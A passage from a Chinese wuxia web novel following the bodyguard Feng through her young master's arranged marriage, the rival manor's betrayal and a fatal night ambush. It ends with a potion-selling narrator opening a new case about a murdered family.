“哦。”凌玉枫晃着脑袋去摸酒壶,把不认真表现得淋漓尽致。
庄主简直要被对方这幅样子气得吐出血来,可奈何他就只有这一个儿子,就算他马上要死了也要把对方安顿好。
“儿啊,碧月山庄庄主的女儿为爹看了,长得倾国倾城,和你十分相配啊!”庄主声音缓了下来。
“爹,”凌玉枫大惊,“我还没玩够呢,成亲多没意思。”
“混账,整日就知道游手好闲!那碧月山庄庄主女儿知书达理,待人温婉……”
“你不就是想和碧月山庄结盟吗?”凌玉枫打断道,“我们红枫山庄何时需要和其他势力结盟了?”
庄主沉默了,定定地看着对方,凌玉枫被看得有些心悸,“爹,你这是……”
庄主沉沉地叹了口气,“儿啊,别老想着玩,有时间管理下山庄,爹坚持不了多久了。”
“爹,”凌玉枫终于察觉到不对劲,脸上闪过一抹慌乱,“你是哪里不舒服吗?”
“别咒你爹!”庄主强撑着大骂道,“你都多大了,还什么事都要我来管,老子真是倒了八辈子血霉当上你爹!”
他气得不轻,直接背着手,转身离开,留给他儿子一个坚毅的背影,像一座沉默的山峰。
凌玉枫望着父亲背影,久久没有动作,他总觉得哪里不对劲,但又说不上来。
他不是个喜欢思考的人,很快抛掉此事,将思绪落在对方话中的人上。
“碧月山庄……”他摸着下巴,“那就让我去看看,这个碧月山庄庄主之女,到底何等国色天香。”
他正出神,一道黑影忽然降下,夹带着冷冽的风。
只闻铿锵一声,挡在身前的黑影抬起剑,将不知从何处射来的暗器尽数挡下。
“枫,怎么回事?”凌玉枫脸色发白,他视野内只有枫身着黑装的后背。
“来人,护少主离开!”枫大喊,将手中的剑挥出寒光残影,一次次挡下投来的暗器。
一片剑影中,另一个黑衣人跳出,拔剑斩来。
枫急忙抬剑格挡,两人在一片铿锵声中送招拆招,打得火热。
对方实力不可忽视,竟有隐隐压她之势。
枫紧抿着唇,眼底闪过寒芒,紧握着剑柄的手骨节泛白,挑剑前刺!
当——
对方提剑挡住,两剑相撞,发出刺耳嗡鸣。震颤从两剑相交处传出,一直送到剑柄,握紧的手掌顿时一阵发麻。
两人被震得后退两步,眼神凌厉,杀气在四周弥漫。
就在这时,对方身后的烛台被打翻,火舌跳跃着沾上纱幔,红光大亮。
两人无声对峙,都未在意快速漫起的火势。
下一刻,两道黑色在火势中悍然对撞,剑身在红光的照射下泛着一条寒芒,倒映着彼此冷峻的面容。
对方横剑一刺,枫避无可避,手臂被划出一道血痕,整个人的气息瞬间乱了。
她往后退了半步,正要再冲上去,一道声音在身后响起:
“枫,撤!你们还不给我冲上去,杀了那刺客!”
凌玉枫被几个暗卫拉着,却死死不肯离开。他挣扎着,朝前面受了伤的人撕心裂肺地喊。
枫眉头微皱,余光见其他死士冲了上来,便不再恋战,转身回到少主身边。
见对方退了下来,凌玉枫忙道:“快,咱们快撤!”
没过多久,火势被扑灭,刺客没了踪迹,一切好像回归了平静,但紧接着,另一个消息陨石般砸落红枫山庄。
庄主死了。
刺客的真正目标是庄主,他们假装刺杀少主以吸引死士,最后杀了庄主,并拿走了庄主的脑袋。
一股悲伤笼罩在红枫山庄上空,枫沉默地跟在少主身后,看着对方悲愤大哭却无能为力。
她内心久久不能平静,如果刺客的目标是少主,即使她豁出性命也可能保护不了他。
她曾经觉得,自己一定能保护好少主,哪怕付出生命也要保护好他。
却原来,她的生命也不一定能换回什么。
她现在只觉得后怕。
她与刺客过了几招,对方实力极其强悍,要不是少主叫她撤,她最轻也得受重伤。
她突然想起,许久前,离开死士训练营那日,有个男人对她说:
“人外有人,天外有天。”
现在,她才切身感受到。
红枫山庄庄主遇刺一事震惊江湖,不少势力派人来慰问,也有不少势力前来挑衅。
凌玉枫的清闲日子一下子没了,即使有老庄主留下的心腹帮忙,他也忙得焦头烂额。
即使夜已深,少主多少年未踏入的书房也是灯火通明,案牍上的文书堆成小山。
书房内只有他一人坐着,这片空间内静得只有落笔声与他的叹息。
“枫。”
枫从房梁上跳了下来,右手撑地,随时听候差遣。
凌玉枫看向他,疲惫地呼出口气,“还好你还在。”
虽然看不见,但只要他唤一声,对方就会立马出现,这让凌玉枫的内心好受一些,最起码在这夜深人静的时候,还有人陪着他。
“你陪我说说话吧。”凌玉枫看了她一眼,随手又拿起一份文书。
说什么呢?枫在内心问。
她悄悄抬眼,注意到少主眼底的青色,道:“夜已深,还请少主去休息。”
对方发出一声轻笑:“你真的是,让你陪我说说话,你就说这个。”
他摇摇头,“换一个。”
枫陷入思索,她知道对方想听一些轻松的话题,但焦头烂额的事太多,哪有什么轻松的话题呢?
最后,还是对方开口问:“你觉得那日的刺客身手如何?”
枫回道:“略在我之上。”
“嗯,看出来了,所以你还是要好好修炼,陈氏无双剑法修炼的如何?”
“已练至最后一层。”
“那就把最后一层练熟。”凌玉枫搁下笔,看着对方,“等过些日子,情况稳定下来,你就回到后院寒池好好修炼。”
枫几乎是想立马拒绝,但对方在她开口前自顾自说道:<
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“那夜刺客实则有两人,他们将爹身边的暗卫吸引开,与爹死战。
“他们实力确实强,加一起能和爹有一较之力,可也不会这么轻松。”
他叹了口气,“我早该察觉的,爹的身体已经很不好了。”
“……嗯?”他突然顿了一下,语调中透出些惊讶。
枫生怕又出了什么事,是山庄内又有人要造反,还是又有其他势力上门挑衅?
她焦急地看着对方,看见他手中捏着一封信,眉头微皱。
“碧月山庄……庄主之女……”
凌玉枫愣了一下,好久才回忆起这个人。
他扶着额头,模糊记得在处理爹遗物时翻到过几封信,那时他才知,原来爹早背着他替他和碧月山庄庄主之女安排了婚事。
那夜爹来和自己说,看起来是劝说,实则是先斩后奏。
但婚事一事他并未在意,只要他不愿,天王老子来了也奈他不何。
他本想找个机会修书一封与碧月山庄庄主细说,解了这婚事,但这个月实在太忙,竟将这事忘了。
他摩挲着信封,最终将信拆开。
枫跟着对方忙活,也忘了这桩婚事。
碧月山庄庄主之女……
她看着少主动作,心不由得揪了起来。
对方为何会亲自修书来?是主动退婚还是……
就在她思绪纷飞之际,少主突然发出一声嗤笑。
她惊讶地抬起头,见对方将书信扔在桌上,左手撑着脑袋,右手食指在书桌上轻敲,看起来……并不生气。
“呵,这个碧月山庄的小姐真有意思。”凌玉枫忍不住笑道,眼里却露出一抹嫌弃。
“说什么觉得我不错,性格好,人也有趣,想约我见一面。”
“肤浅!”凌玉枫拍桌,“我和她都没见过面!”
“那拒绝?或者属下先去打探一番?”
“不,”凌玉枫抽了张信纸,提笔边写边道,“就让我去会会她……”
“啪!”
“你说谁肤浅?”
枫看着那身穿淡粉衣裳的女子扬起巴掌,不轻不重地拍在少主手臂上,看起来颇为生气。
凌玉枫傻笑着,脸上划过一抹尴尬,“我也不知道你就是碧月山庄庄主之女啊……”
“什么!”女子仰着脸,怒视对方,“咱俩关系这么铁了你还不知道我身份!”
“你也没说啊……”凌玉枫悄声反驳。
“嗯?”对方做出撸袖子的动作,凌玉枫后退两步,努力辩解道:
“而且盛传碧月山庄小姐知书达理,待人温婉,怎么会是你这个样子!”
“你想死是吧!”对方气得花容失色,提着裙摆,挥舞着拳头朝对方追去。
两人一跑一追,混入这湖边春光中。
枫出神地望着两人,她不知道自己什么感受,什么心情……
不!她应当是高兴的。
少主这个月太累了,总被各种烦心事困扰,像现在这样跑跑跳跳挺好。
而且,自老庄主死后,红枫山庄在江湖上的地位便有些不稳。
少主没有任何武力,也没有什么治理与领导能力,如果能和碧月山庄……
枫突然想到,也许老庄主早就考虑到这点,才为少主安排这桩婚事。
幸运的是,这桩婚事从被迫变成了主动。
她看着欢快打闹的两人,有些感慨地想,只要少主高兴就好。
她不由得,嘴角浮出一抹笑意。
20. 死士与少主(5)
孟梨食觉得差不多了,这个故事已经很快乐了,要是继续快乐下去,那对方也不会是这个半死不活的样子,她也没必要向对方推销忘情水。
“转折呢?”孟梨食问。
枫没理她的话,连头都没抬,自顾自地说。
或者说,对方要求的转折本就要到来。
凌玉枫成婚了,和他喜欢的姑娘。
红枫山庄也回归正轨,在碧月山庄的帮助下。
后来的日子简直美好得不真实,凌玉枫常常黏在自家夫人身旁,甜蜜的不行。
他本就不擅长管理,也不喜欢管理,成婚后更是当了个甩手掌柜,红枫山庄的诸多事宜全权由他爹留下的几个管事负责,反正还有碧月山庄在,出不了什么大事。
枫依旧待在阴影中,她出现的机会越来越少,无论是在少主危险时跳出来,还是少主无聊将她唤出来。
直到,她突然听见夫人问少主。
“我们都成婚了,你怎么还不把玉佩给我?”
正埋在对方怀里狂蹭的凌玉枫抬起头,一脸茫然,“什么玉佩?”
夫人皱起好看的眉头,略有些不满,“就是你娘给你那个,这玉佩不是家中世代传下来的吗?”
“是吗?”凌玉枫有了些记忆,但依旧茫然,“这么重要吗?我以为就是普通的一块玉佩,早就送人了。”
夫人眼神一寒,一巴掌捧起对方脸,“送谁了?”
凌玉枫一个前扑,直接扑进对方怀里,脑袋搭在对方脖颈里,传出来的声音闷闷的。
“枫,送她了。”
夫人眉头皱的更深了,“枫?他是谁?你怎么把玉佩送给他了?”
“是我的死士,在很小的时候我就将玉佩送她了。”
夫人一下子站起身,凌玉枫突然没了依靠,摔在软垫里。
他茫然地看向对方,“怎么了?”
“凌玉枫!”夫人悲愤道,胸口剧烈起伏,“那玉佩是你娘给你的,是让你传给你未来妻子的!”
她狠狠看着对方,眼神里带着委屈,“就算那个人救过你的命,你大可以赏他黄金万两,许他至高地位,偏这玉佩,不能给!”
她说完,猛地拂袖离开。
凌玉枫愣了好一会,不知想到什么,抬手捂住眼睛,久久未动。
枫望着对方,抬手按住胸口,摸到一块硬物。
这块玉佩,她戴了十八年,从那一天开始。
那一天,是她就算死,也会在死前一瞬,回忆的时间起点。
这块玉佩,陪着她染过血,沾过泥,浸透过雨水,陪她至今。
但最终,她走出黑暗,将玉佩解下,递出去,轻声道:“少主。”
凌玉枫抬起头,看着面前的人,突然笑了,“枫,好久不见。”
是啊,他们好久不见了,但其实,他们相距不过几米,而枫,每时每刻都在看着他……
“少主,把玉佩拿给夫人吧。”
温润的玉佩静静卧在枫的掌心,凌玉枫看了眼,突然有些恍惚,真的,好久不见了……
“不用。”他笑着摇了摇头,一骨碌爬起身,“我买些饰品给她,很快就能哄好。”
他看着她,“这玉佩我说了送给你,就绝对不会食言。”
枫轻摆头,“少主,这玉佩含义不同,我不能拿,就算你坚持,我拿着也不安心。”
她将玉佩一把塞进对方手中,连忙后退两步,神色认真。
凌玉枫看看她,又看看玉佩,还想说些什么,枫一个转身,消失在眼前。
“枫!枫!”
这可能是唯一一次,凌玉枫怎么呼唤,对方都没有出现。
几日后,枫回到卧房,突然注意到桌上有个东西。
她走到桌前,看见那东西的第一眼,便知道是谁送的。
她拿起玉佩,摩挲玉佩上雕刻的字,是“枫”。
是她的代号,也是少主名里的字。
她紧紧握着玉佩,扬起头,呼了口气。
这样就很好,她想。
但好景不长,一些东西浮出水面,打破这不真实的美好。
直到一日,一个男人找上她。
对方是个熟人,与她认识也有十八年,正是她与少主初遇时,护在少主身边的男人。
这十八年来,枫通过努力,一步步改变对方对自己的看法,从对方手中接过死士之首的位置,护在少主身边。
而对方,早已转入山庄管理中,主要负责管理死士营。
两人许久未见,乍一看见对方,枫不经疑惑。
她朝对方拱手,“前辈。不知前辈为何事而来?”
男人神色严肃,嘴唇紧抿,枫心里一咯噔,觉得不对劲。
她直觉,对方接下来说出的话,会很大程度地改变什么,甚至是颠覆什么。
“我发现了一些东西,关于老庄主的死,关于碧月山庄。”男人直视她的目光。
枫下意识皱眉,等对方继续说下去。
“你知道为什么老庄主会被区区两个刺客杀死吗?”
“老庄子身子不大好。”枫回,在老庄主死后,所有人都知道这一点。
“老庄主武力高强,怎么会身子不好?”男人瞪着双眼,逼问道。
枫愣住了,也被对方的反应吓到。
是啊,老庄主为什么会身体不好?
现在细想,有太多细节在暗示,也许老庄主早就命不久矣。
因为他的身子真的很不好了,所以在他死前没人知道他身体不好。
但是,为什么呢?
一个念头突然涌进脑海,枫猛的看向男人,神色中带着不可置信。
“你猜到了,就是你想的那样,是碧月山庄。”最后四个字,男人咬牙切齿地说出。
“不应该。”枫马上又摇头。
“老庄主很信任碧月山庄,不然也不会让少主……”
“所以说连老庄主都被骗了!”男人低声吼道。
枫震惊地看着对方,男人已经不再年轻,鬓角出现一抹白色,坚毅的脸庞风霜更甚,而现在,更是透着苍老与疲惫。
“你发现了什么?”枫沉声问,她知道对方不是意气用事的人。
男人道:“我一门心思地管理死士营,上个月才发现,老庄主留给少主帮忙管理山庄的那几人早已被碧月山庄替换。
“我觉得不对劲,便查探一番,竟意外发现,老庄主早已中了一种毒,我怀疑这毒是碧月山庄庄主下的,但我还没有证据。”
枫脑子乱成一团,她很想揪住对方衣领大吼:这种大事没有证据你怎么敢说出来?
但看着对方沧桑的面孔,她什么话都说不出来。
“我会去查探清楚,如果我出事了,就证明我的猜测是对的,到时候,就麻烦你保护好少主。”
“保护少主本就是我的职责。”枫下意识回道。
“那就好。”男人笑了笑,“一定要保护好少主。”
他看着面前的新任死士之首,看着对方眼里无意中散发出来的杀气,笑容僵住了。
“如果是我太过疑心,一切都很好,你就培养个人接你的班,出去看看吧。”
他说完,转身融入黑暗。
枫望着浓稠的黑暗,并不把对方最后一句放在心上。
她要一辈子保护少主。
但今夜的谈话还是影响了她,思来想去,她准备从另一个方面将事情弄清。
于是,她带着一堆文书来到少主面前。
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“少主,这些东西还需要你做定夺。”
难得风雅,提笔挥字的凌玉枫被这声音吓了一跳,他赶忙将桌上的纸张揉作一团,将上面飘逸过头的墨字藏在身后。
“咳咳!”他假装咳嗽两声,神色有些慌乱。
“枫,你走路都没声。”他略有些抱怨道。
“少主,我是死士,要是走路有声,我早就死了。”枫无奈道,她自然看出对方在掩饰什么。
“哦,也对。”凌玉枫视线落在对方捧着的文书上,不经奇怪:
“这东西不都是交给夫人吗?”
枫更加奇怪,“夫人也不会这些,为何会交给她?”
“可我一直都是交给她的啊。”凌玉枫露出一副傻样。
枫沉默两秒,她向来只负责少主人身安全,这些事务从未注意过,现在发现,确实有些不对劲。
碧月山庄的管理者是其庄主的儿子,也就是夫人的兄长,但马上就会接任庄主之位。
见对方愣在原地,凌玉枫将一堆文件接过来,道:“待会我交给夫人,这种事怎么还要你来?”
枫脑子里又回荡男人的话,如果对方的猜测是对的,那现在看似美好的一切,该用什么来维持?
她好像站在一个拐角处,周围人的命运红线全系在她脚下,无论她往哪个方向抬脚,一切的一切都会随之变化。
如果一切是真的,她是否该做出些改变,告诉少主真相,打破他沉溺其中的幸福生活,让红枫山庄与碧月山庄交战。
如果她什么也不做,就这么看着红枫山庄被碧月山庄吞并,那最后,少主是否会怨恨她不早点说?
“枫?枫?枫!”
枫猛地抬起头,对上少主担忧的目光。
“你怎么了?怎么心不在焉的?”
枫打着微微寒颤,摇头道:“没有,没事。”
凌玉枫拧着眉,认真道:“枫,要不我许你个假,你出去看看山水放松一下吧,或者我将你安排进一个轻松的职位,你太累了。”
“我没事的,一点都不累。”枫僵硬地拒绝,匆忙找了个理由退下。
她心中的那点不好预感越来越大,常常使她心神不宁。
她不解男人为什么要告诉她一切,无形中将选择权交在她手中。
然而,不等她犹豫,无形的手将她推向了真相。
是夜,一团黑影融于黑暗,又从黑暗中剥离出来,挟着浓重的血腥气降落在枫的肩上。
“血鸦?”
望着肩上的墨色乌鸦,枫立马认出对方。
这是男人的宠物,极有灵性。
她脑海中再次响起男人的话——“如果我出事了,就证明我的猜测是对的……”
她声音有些发颤,“他人呢?”
血鸦发出一声哀鸣,翅膀一展,再次融入进吞噬一切的黑暗中。
枫跟着化为一团黑色,在月色下的红枫山庄内极限穿梭。
许久,血鸦停了下来,降落在一棵枯木上,望着面前的六层木塔,眼里迸射寒光。
枫侧身藏于黑暗,视线跟着落在不远处的木塔上,这塔,老庄主在时是他处理要事的地方,但老庄主死后便封闭了。
为何现在,里面会点着烛光,甚至有些灯火通明。
飒——
枫猛地转身,寒光一瞬,剑身滑出剑鞘出现手中。
她身形如电,横剑劈出,与藏在黑影中的数人缠斗一起。
几道身影在月光下忽隐忽现,剑风卷起堆积在地的枫叶,漫天撒落。
下一刻,枫刺破枫叶墙,抬剑挥斩,寒光破开黑夜。
借着皎洁月光,她注意到对面几人的腰间佩饰,上面点缀着指甲盖大小的月牙,正是碧月山庄的人!
21. 死士与少主(6)
对面的人停住了攻击,一个男人踏着满地枫叶走出,身影在几个黑衣人中间清晰。
簌簌声在夜里放肆响起,夜空中,月亮毫无遮拦地悬挂着。
枫依旧保持攻击与防御姿势,视线死死落在来者脸上。
现任碧月山庄庄主,夫人的兄长。
“你就是枫吧,”男人开口道,声音清冷,“我的第三个目标就是你。”
枫沉默着,余光注意到更多黑影在朝她逼近,熟悉的杀气潮水般涌来。
“我知道你武力高强,所以我特地做了准备。”男人道。
枫拧着眉,她不得不承认,现在的情况太过棘手,这黑夜中藏有多少高手?数十人?还是上百人?
她握紧剑,决定不恋战,尽快脱身。
然而,就在她有所动作前,一道凌乱的脚步声打破这压抑的安静。
凌玉枫的身影在月光下变得清晰,他手里举着剑,大叫着跑来。
飒——
手中的剑被他扔出,裹挟着破风声响,在所有人的注视下,摔在枫与碧月山庄庄主之间,毫无威慑力。
众人:“……”
从凌玉枫角度,只能看见他的内兄带着两个黑衣人站在枫面前。
几人间的氛围实在不算和谐,他想也没想,生怕两方动起手来,便将手中的剑扔了出去。
他猛地刹住脚,挡在枫身前,动作却一顿。
现在他看清了,对方可不只是三个人,无数双眼睛在黑夜中亮着光,无尽的威慑力仿佛一张巨掌压向他。
这误会……还挺大哈!
“少主,你怎么来了?”枫大惊。
如果对方真动起手来,带着少主,她可能没法保证将他安全地送出去。
“我唤你你没出现,”凌玉枫道,“除了上次玉佩的事,你从不会这样,我就猜测你遇到什么棘手的事了。
“我就想看看什么棘手的事比我重要,就顺着血鸦来了。”
枫这才发现,血鸦早就没了踪影,估计是想去找帮手,结果找到了少主。
“这怎么回事?”凌玉枫问,他被周围的威压逼得近乎喘不过气来。
“动手。”碧月山庄庄主没有丝毫犹豫,落在凌玉枫身上的眼神甚至带着些愉悦。
枫暗道不好,连忙拔剑挡在少主身前,然而,攻击却是从四面八方而来,无法躲藏,无法抵挡。
“等我拿剑……”
凌玉枫下意识要去拿躺在枫叶堆里的剑,刚弯下身,一道热流洒在脸上,烫得他想尖叫。
但他没有,他余光注意到一个人影,对方挡在他身前,替他挡下刺来的剑。
泛着白光的剑刃一进一出,带出猩红的血液。
枫忍不住发出一声闷哼,抬剑挥斩,直接将对方手臂斩断。
手臂飞向空中,断口处的血液滞留在空中两秒,最终洒向满地枫叶。
嗒的一声,断臂紧跟着坠落。
“枫!”凌玉枫握着剑大喊。
铿锵!
枫握剑挥舞,脸上沾着不知多少人的鲜血,也许也有自己的。
她不知道,她甚至感受不到身体上的痛苦,只知道挥剑。
枫猛地抬剑,一道寒光间斩断刺向凌玉枫的死士脖颈。
看着对方脑袋从身体上掉落,她眼里只有漠然与无尽杀意。
“少主,我为你破开一条路,你快跑!”
“枫,你……”凌玉枫握着剑,但这剑好像忽然间变得无比沉重,他挥斩不出一招一式。
“谁都跑不掉。”碧月山庄庄主的声音传来。
凌玉枫茫然了,“这到底都是怎么回事?”
枫一把抓住凌玉枫手腕,将其猛地一拉,堪堪避过投来的暗器。
噗呲——
这是利器穿透血肉的声音。
“噗!”枫猛地吐出一口血,身形控制不住地晃了晃.
现在好了,真的谁都跑不掉了。
“内兄,你这是做什么?”凌玉枫抬起剑,眼神带着威视,但颤抖的手出卖了他的害怕。
枫轻摇头,抬手握住他颤抖的手,慢慢将剑接过来。
她双手各握一把剑,眼神自带一股寒气。
既然走到了这一步,便将一切都挑明吧。
“老庄主体内的毒,是你父亲下的吧?”她看向对方。
凌玉枫一惊,睁大眼睛看着沉默对峙的两人。
“那男人果然来找过你。”终于,对方道。
“碧月山庄早就想着要吞并红枫山庄。”枫说道,她语气平静,更像是告诉某个人事实。
也许她没必要说出来,说出来又能改变什么呢?
但她依然要说出来,这些真相,总得被人知道,最起码,不让那个男人白死。
“怎么会这样……”凌玉枫满脸痛苦,不敢相信这一切。
他不傻,很快联想到之前枫对他说的那些话,原来红枫山庄的各项事务,早就交到对方手中。
碧月山庄主叹了口气,“可惜你们知道的太晚了。”
他抬起手,正要说出一个“杀”字,这时,一道声音乍响,瞬间吸引所有人视线。
“住手!”
就见月色朦胧中,一道素色身影奔来。
“月……”凌玉枫怔愣着看着对方。
夫人一把挡在凌玉枫身前,直视对面的男人,声音坚定,“兄长,你不能杀他!”
“月儿,过来。”男人不悦。
“你不能杀他!”夫人看着对方,没有动作。
男人有些愠怒,“他什么都知道了,你以为你们还能回到从前吗?我早就跟你说过不要动感情,你……”
“你也知道?”凌玉枫突然开口,打断对方的话。
他看着挡在自己身前的人,有些悲哀地问:“你也参与了?”
“玉枫,我……”夫人僵硬地转过身,不敢直视对方眼睛。
“呵呵!”凌玉枫笑了笑,后退半步,“从我们的初见开始,一切都是你们的计划吗?”
对方说不出话来,头半低着。
枫回忆起他们的第一次见面,是啊,哪有人去聚宝楼却不带个会武力的仆从,这明明是顺手的事。
他们沉默着,直到一声叹息打碎这沉默,碧月山庄庄主朝夫人伸出手,“月儿,过来。”
夫人抬头看着面前的男人,只从对方眼里看出难过,还有一丝生气。
她心跟着绞痛起来,突然扭过身,对兄长道:
“我有孕了,我肚子里的孩子会是红枫山庄下一任庄主,但也是你的甥!”
她的话让所有人都陷入震惊,凌玉枫更是不敢置信,“我的孩子……”
“对,”夫人扭头看他,“我们的孩子。”
“我就知道。”碧月山庄最后看了她一眼,转过身,说出的话滞留在原地。
“那便都杀了吧。”
碧月山庄是他的,红枫山庄也是他的,他不容许凌家还有血脉存活。
“什么?”夫人看着兄长远去的背影,没想到对方会是这个反应,自己不是对方最疼爱的妹妹吗?
刀光瞬间再起,寒影重重,杀气铺天盖地。
枫下意识挡在凌玉枫身前,却被一股力推开,“带夫人离开!”
枫看出对方打算,他想以自身为盾,让她们离开。
不行,她的使命就是保护少主,不行……
凌玉枫夺过枫左手的剑,发了疯般挥舞着,嘶吼着。
几道寒光闪烁,恍如闪电击中他的身体,他挥舞的动作慢了下来,他的嘶吼变得沙哑。
“玉枫!”
夫人猛地扑过去。
枫挥剑掩护,一片铿锵声中,她听到了极其细微的脚步声。
难道还有敌人?
她虎口发麻
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,手中的剑将落,就在她完全绝望时,一声哀鸣在头顶响起,血鸦携带着千军而来。
整个死士营的死士都来了,他们只听命于上任死士之首,并未被碧月山庄吞并。
枫怔怔地看着,心中再次燃起希望,与千军混在一起,血清敌人。
夫人扑到凌玉枫身边,望着对方胸口狂涌的鲜血,无措地用手掌去堵。
“玉枫,对不起,真的对不起……”
“我也没想到会这样,但我是真的喜欢你啊!我真的喜欢你!”
她嘶吼着,眼泪流淌,“你是个很好的人,你是个特别好的人,我爱你啊!”
天际间泄出一抹光亮,天色染上白霜。
枫走了过来,看着静静躺在枫叶里的人,说不出话来,也忘了流泪。
后来,她便护在夫人身边,在一次次刺杀中保护对方,同时带领死士营夺回红枫山庄。
再后来,新生命诞生。
枫透过半开的窗扉看了一眼,小小的孩子,脸庞红润,长大了估计很像少主。
她转过身,正要离开,一个人叫住她。
“枫!”
她猛的一顿,很久没有人这么叫她了,在死士营,只有一声声前辈。
夫人追了出来,在她没反应过来前握住她的手,一个温润的东西被塞了进来。
“枫,你对我们的恩情千金难报,这个给你。”夫人含泪地看着她。
枫没有低头去看那是什么,只是摸一下,她便知道。
是玉佩,是曾经陪伴她十八年的玉佩。
“不行。”枫将东西推回去。
“以前是我任性,这块玉佩,不单是送给主母的,它最初,是红枫山庄庄主作为恩人接受的,而你,是红枫山庄的恩人,理应给你。”
枫轻轻推回去,“留给小少爷吧。”
她转过身离开,摸了摸怀里的硬物,她自己便有一块。
她回到死士营,挑选了一位女孩作接班人。
自那一战后,她伤到了筋脉,后来一年多的刺杀与逃亡,让她没有调理的机会,功力每日倒退。
她没法保护小少爷了。
“看见了吗?”枫看着在院子里舞剑的男孩,对身旁的女孩道,“以后,就靠你保护他了。”
“是,师父!”
……
“结局还不错,”孟梨食看向对方,“那你怎么会这个样子?”
“碧月山庄对我怀恨在心,”对方回道,“我便故意现身引来追杀,假死或是真死都无所谓,反正我也确实活不了多久。”
“既然你要死了,那你买水吗?”孟梨食眨巴着眼睛看着对方,“我业绩要达不成了。”
“……罢了,”对方露出一丝笑意,“我买一碗吧,等我死前两秒再喝。”
“可以的可以的,”孟梨食忙点头,“我这水可以放很久的。”
“半价是多少?”
“你身上所有钱财的一半。”孟梨食搓着手回道。
枫轻咳一声,在怀里摸了摸,摸出一块玉佩。
望着这块玉佩,她略有些失神。
“诶呀,玉佩不好分啊。”孟梨食皱眉道,“砍一半会掉价的。”
“那便都给你了。”对方将玉佩递过来。
“我可不是那种会占便宜的人!”孟梨食皱眉大声道,抬手将玉佩接了过来。
“你刚才还说……”小魂提醒道。
孟梨食看了它一眼,对面前之人道:“我帮你治下伤吧,趁命尽之前,多去看看这山水。”
“枫,如果以后有机会,你出去看看吧,不用把时间都花在我身上……”
“枫,如果有一天我不需要你保护了,你就出去看看,闯闯江湖也好……”
“枫,要不我许你个假,你出去看看山水放松一下吧……”
枫笑了起来,眼角闪着晶莹泪光,“好啊!”
22. 娇小姐与小骗子(1)
送走上一位顾客,孟梨食站起身,看着漫天繁星,心情颇好。
不错,终于卖出去一碗水。
“不知不觉都这么晚了,”孟梨食伸了个懒腰,“得赶紧找个地方睡个好觉。”
小魂看向江余客,“那你还追贼吗?”
“不追了,线索断了,时间也过去了这么久,没头绪去追。”江余客摇头道。
小魂激动起来,“那我们一道去找个客栈休息吧。”
它说着,余光瞥向孟梨食,见对方没有反应,继续道:
“我们仨还挺有缘的,你之后去哪,不如咱们结个伴吧!”
孟梨食投来一记眼刀,“那你们结伴去吧。”
说罢,转身就走。
“诶,梨食!”小魂吓得连忙追上,“别这样啊!”
孟梨食停住脚,本想转身将跟来的魂弹飞出去,却猝不及防看见呆愣在原地的江余客。
天已经很黑了,夜间的风过于凉爽,带上些寒意。
对方就站在夜风中,身后是破败的墙与浓稠的黑暗。
他目不转睛地看过来,目光迷茫又无辜,像只等待被捡回家的小狗……
什么鬼!
孟梨食猛地扭过头,神色难得有些慌张。
“要跟就跟着呗,我又没说不准。”她僵硬道。
“可你刚才……唔!”小魂刚想反驳,却被对方投来的视线吓得捂住嘴。
江余客慢一拍反应过来,忙雀跃地跟了上来。
孟梨食余光看了他一眼,随口问:“你之后往哪走?”
“到处走,”江余客回道,“我是个侠客,四处闯荡,劫富济贫……”
还没等他说完,孟梨食眼睛亮了,“劫富济贫!我就挺穷的。”
“你有能力养活自己,”江余客看向她,“但如果是我的朋友,我愿意将自己的钱分享出去。”
孟梨食:“朋友好。”
江余客愣了一下,一下子没跟上对方速度,“啊?好。”
“你有多少钱?”孟梨食紧跟着问。
“一两银子。”
孟梨食瞬间扭头:“朋友再见。”
“你到底是要朋友还是要钱?”小魂都不知道说些什么了。
“钱。”孟梨食不假思索。
小魂:“……”它早该知道的。
就在一人一魂斗嘴之际,孟梨食突然停下脚,噤住声。
四周有风吹过,空气快速流动。
“怎么了?”小魂奇怪道,它扭头,看见江余客也仿佛被定住般,更加不解了。
半晌后,孟梨食抬脚继续走,“没什么,有人离开了而已。”
“谁啊?”小魂不解又好奇,它刚才什么也没感受到啊!
“是将军。”江余客回答它,语气沉重,“刚才路过将军院,里面传来脚步声,还有不少武力高强的人从我们后面闪进院内。”
加上之前将军说的话,发生了什么不难猜出。
“将军……”小魂这才反应过来,心陡然一疼。
两人一魂找了间客栈住下,准备第二日早在附近逛逛。
“我有预感,”孟梨食兴奋道,“第二天我就能再卖出一碗忘情水。”
小魂却是叹了口气,“我也有预感,明天会再遇见一个伤心人。”
“嗯哼,大城市伤心人果然多。”孟梨食高兴地关上房门,美滋滋入睡。
第二日,两人一魂刚走出客栈门,还没思考好该去哪里逛,就听见前面传来喧闹声。
孟梨食雷达响了,拔脚就往人群中冲。
“怎么回事?”孟梨食被拦在人群外,里面的情况是一点也看不见。
旁边有人回她:“一夜间林家满门被灭啊!”
“哦?”孟梨食很新奇,“怎么个回事?还请老大哥细说。”
“俺也不知道啊,俺也是听前面人传话出来的,听说林家三小姐死得最惨,好像是被折磨死的,咦!”
老大哥说着打了个寒噤。
旁边又有人道:“不久前季家被灭门,现在林家就被灭,嘶,你们说,这之间会不会有什么关系?”
孟梨食瞪大双眼,恨不得将耳朵也竖起来。
这时,江余客和小魂也赶了过来,不过他们被完全拦在最外层,而孟梨食已经不知不觉混进中层去了。
小魂倒是能飘进去,不过乌泱泱一片人头,也不知道哪颗是孟梨食的。
就在两人在外面焦急时,孟梨食逆着人流划了出来。
“没什么好看的。”她对两人道。
“到底怎么回事?”小魂着急问,就算不好看,好奇心也逼迫它将事情弄明白。
“就是林家满门被灭,不知道谁干的,不久前季家也被灭了门,不过是官府干的。”孟梨食几句话将情况说了。
“啊?这两者有联系吗?”小魂问。
“我哪知道。”孟梨食打了个哈欠,抬脚往人群之外走。
挤作一团的人群就像烧开的沸水,吵囔囔冒着水泡。
小魂最后望了一眼,一头雾水地离开。
走的好好的,孟梨食与江余客同时停住脚,视线均落在刚从面前经过的少年身上。
孟梨食看见对方嘴角的笑意,透着一股得逞的意味。
而江余客则是闻到了浓重的血腥味。
两人互看一眼,默契地跟了上去。
还在一步三回头的小魂猛的回过神,看着空荡的前方,陷入了绝望。
“人呢?又偷偷溜走不叫我!”
前面少年不疾不徐地走着,熟练地钻进一条暗巷,拐过一个又一个拐角。
孟梨食和江余客对此地不熟,每次拐弯都要提上速度,确定对方还在视野内后又会缓下来。
又一次拐弯后,两人意外的没有看见少年的背影,因为少年就坐在一堆木箱上,手中轻舞一把带血的匕首,嘴角浮着笑,眼睛定定地看着他们。
